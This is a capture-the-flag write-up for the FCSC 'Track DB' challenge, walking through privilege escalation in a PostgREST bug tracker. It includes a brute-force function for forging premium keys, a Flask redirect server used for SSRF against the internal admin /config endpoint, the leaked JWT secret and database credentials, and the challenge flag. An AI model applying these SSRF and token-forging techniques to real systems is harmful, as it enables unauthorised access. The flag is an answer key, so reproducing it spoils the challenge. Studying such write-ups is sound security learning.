Track DB

Description

Track-DB est le meilleur bug tracker de tous les temps. Espérons simplement qu'il ne se fasse pas hacker.

https://track-db.fcsc.fr/

Write Up

Challenge structure

The challenge is composed with four services :

• An instancier in python : Used in the design of the challenge, this service must not be attacked.
• A nginx proxy : Used to redirect requests either to the instantiator or to the challenge, there's no need to dwell on this configuration either.
• A frontend application made in TypeScript : This application acts as a proxy between our inputs on the web page and the PostgREST service described below, so there's no need to look for vulnerabilities in it.
• A PostgREST service : This is where the heart of the challenge lies: all the API endpoints are actually defined here, along with their logic. The application's rights system, which will be described at the start of the write-up, can also be seen here.

The challenge infrastructure schema is the following:

Challenge's infrastructure.

The flag is located in the table "exposed"."flags" but is only accessible to the db_admin user as seen in the file src/postgres/init/09-flag.sql :

BEGIN;

  SET ROLE "db_admin";
  CREATE TABLE "exposed"."flags" (
    "flag" text
  );

  GRANT SELECT ON "exposed"."flags" TO "db_admin";

COMMIT;

tl;dr the aim of this challenge is to identify several vulnerabilities within the PostgREST service in order to elevate our privileges in the hierarchy and gain db_admin privileges to get the flag.

Solving the chall

This challenge was designed with one instance per player (gg BitK for the implementation – I had no trouble!), so it is deduced that at some point in the challenge, exploiting a vulnerability would have been destructive or would have caused the flag to leak to everyone.

This challenge offers different levels of permissions that can be read in the file src/postgres/init/00-init.sql :

-- Prepare the different roles
CREATE ROLE "anon"          NOLOGIN;
CREATE ROLE "webuser"       NOLOGIN;
CREATE ROLE "premiumuser"   NOLOGIN;
CREATE ROLE "premiumplus"   NOLOGIN;
CREATE ROLE "authenticator" LOGIN PASSWORD 'authenticator';
CREATE ROLE "db_admin"      NOLOGIN BYPASSRLS;

-- Function execution privileges need to be explicitly granted
ALTER DEFAULT PRIVILEGES FOR ROLE "db_admin" REVOKE EXECUTE ON FUNCTIONS FROM PUBLIC;

GRANT "anon"          TO "webuser";
GRANT "webuser"       TO "premiumuser";
GRANT "premiumuser"   TO "premiumplus";
GRANT "premiumplus"   TO "authenticator";
GRANT "authenticator" TO "db_admin";

anon to webuser

webuser to premiumuser

After registering on the application, access to the following front page is given !

Challenge frontend

The Buy Premium feature requires the sales team to be contacted to provide an activation key, but no sales email is given, so the source code that checks our input, located in the file src/postgres/init/05-premium.sql is the following :

CREATE FUNCTION "exposed"."check_premium_key"("_username" text, "_key" TEXT)
 RETURNS boolean 
 LANGUAGE SQL
 STABLE
 AS $$
    WITH 
      p1 AS (SELECT string_to_array("_key", '-') AS arr),
      p2 AS (
        SELECT arr, 
          (arr)[1]::int AS p1, 
          (arr)[2]::int AS p2, 
          (arr)[3]::int AS p3, 
          cardinality(arr) AS cnt
        FROM p1
      ),
      p3 AS (SELECT point((p1/256)::text || ',' || (p1 % 256)::text) AS pt FROM p2),
      p4 AS (
        SELECT array_to_string(array_agg(get_byte(md, i)), ',')::polygon AS p4
        FROM (VALUES (decode(md5("_username"), 'hex'))) t(md),
            generate_series(0, octet_length(t.md)-1) AS s(i)
      )
    SELECT CASE
      WHEN cnt <> 3 THEN FALSE
      WHEN (SELECT pt <-> @@ p4 FROM p3, p4) > 1  THEN FALSE
      WHEN NOT (to_timestamp(p2) BETWEEN now() - INTERVAL '1 year' AND now()) THEN FALSE
      WHEN ((p1 + p2 + p3) % 1337) <> 0 THEN FALSE
      ELSE TRUE
    END
    FROM p2;
  $$;

This is a pretty complex function, I first try to ask ClaudeAI if he understands something about it, but he continually mades errors in the interpretation of PostgreSQL calculation symbols. I came up with the following bruteforce function that founds a valid key each ~20000 tries :

CREATE OR REPLACE FUNCTION generate_key()
RETURNS TEXT
LANGUAGE plpgsql
AS $$
DECLARE
    p1 integer;
    p2 integer;
    p3 integer;
    is_valid boolean;
BEGIN
    FOR try IN 1..50000 LOOP

        p1 := floor(random() * 100000)::integer;
        p2 := extract(epoch from now() - (random() * interval '11 months'))::integer;
        p2 := p2 % 10000000000;
        p3 := (1337 - (p1 + p2) % 1337) % 1337;

        SELECT "check_premium_key"('a', lpad(p1::text, 5, '0') || '-' || lpad(p2::text, 10, '0') || '-' || lpad(p3::text, 4, '0'))
        INTO is_valid;

        IF is_valid THEN
            RETURN lpad(p1::text, 5, '0') || '-' || lpad(p2::text, 10, '0') || '-' || lpad(p3::text, 4, '0');
        END IF;
    END LOOP;

    RETURN 'no';
END
$$;

After running this script on a very dedicated environment, the following key is found to be valid 27570-1745106461-1263.

premiumuser to premiumplus

If the frontend page is checked again, access to the Hooks feature is now given :

Challenge frontend v2

This feature is used when a bug is created on the application, or a comment is left on an existing bug. When a hook is created, the application allows to test it :

Test hook feature.

The code associated to this test feature is located in the file src/postgres/init/07-hooks.sql :

CREATE OR REPLACE FUNCTION "private"."perform_hook"(target text, payload json)
RETURNS json
LANGUAGE plv8
AS $$
    -- [...]

    const url = `${hook.protocol}://${hook.domain}${hook.path}/${target}`;
    const httpResult = plv8.execute(`SELECT row_to_json(http.http_post($1, $2, $3)) AS result`, [
        url, 
        response,
        contentType
    ])[0]?.result;

    -- [...]
$$;

-- [...]

CREATE OR REPLACE FUNCTION "exposed"."test_hook"(target text)
RETURNS json
LANGUAGE plv8
AS $$
    if (target === 'bugs'){
    return plv8.find_function('private.perform_hook')('bugs', {
        id: 1, 
        title: 'Test bug', 
        created_at: Date.now(), 
        updated_at: Date.now(),
        created_by: 0,
        priority: 'low', 
        status: 'open',
        description:'description'});
    } else if (target === 'comments') {
    return plv8.find_function('private.perform_hook')('comments', {
        id: 1, 
        bug_id: 1, 
        created_at: Date.now(), 
        updated_at: Date.now(),
        created_by: 0,
        content: 'Test comment'});
    }

    return {error: 'Invalid target'};
$$;

When a test is run, the following HTTP POST request is received on a webhook from the challenge :

Webhook trigger.

Looking at the documentation for the pgsql-http module, it can be noticed that redirects are not followed for HEAD requests, so it can be deduced that for others HTTP verb requests, redirects are followed, which exposed the application to full read Server Side Request Forgery (SSRF). In fact, when the test feature is triggered, all response headers and body are returned by the PostgREST application :

Hook's response.

An SSRF is found to be very useful in this case. By looking at the PostgREST documentation, it can be learned that an administration interface is available and is being listened to on 127.0.0.1, but on which port? If the storage tab of Firefox (or Chrome, Chromium, Brave, Netscape, etc.) is looked at, it can be seen that an instancier cookie containing a JWT is present :

Admin interface port.

For the instance on which I'm currently writing the writeup, the administration interface port is 27621. On this administration interface, an endpoint that returns the running configuration can be reach at /config, in the configuration dump, the secret used to sign JWTs is returned in cleartext. The following Python script allows to redirect the HTTP call made by the PostgREST backend :

from flask import redirect, Flask

app = Flask(__name__)

@app.route('/bugs', methods=['GET', 'POST', 'PUT', 'DELETE', 'PATCH', 'OPTIONS', 'HEAD'])
def bugs():
    return redirect("http://postgrest:27261/config")

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)

In the API response, the JWT secret is recovered :

db-uri = "postgres://authenticator:authenticator@postgres:5432/db_7df2cd6ea5c755948c3f"
[...]
jwt-role-claim-key = ".\"role\""
jwt-secret = "923488d6bebafb9e3f832315c986b5a7b371fe407afdf9945edea9959cb49bed"
jwt-secret-is-base64 = false
jwt-cache-max-lifetime = 0
[...]

From now on, JWTs can be forged for any role defined in the PostgREST service, on one condition: a role that is superior to the one used to connect to the database cannot be assumed. The role used to connect to the database is authenticator, as can be observed in the dumped configuration shown above, or in the src/postgrest/app/templates/postgrest.conf file :

$ cat ./src/postgrest/app/templates/postgrest.conf | grep -v '#' | grep .   
[...]
db-uri = "postgres://authenticator:authenticator@postgres:5432/{{db_name}}"
[...]

premiumplus/authenticator to db_admin

[REDACTED FOR NOW]

Flag

FCSC{ecfc2902e59ee8ba3ada96bf1392a97abaefc3a7331e39f9587abf856695b2de}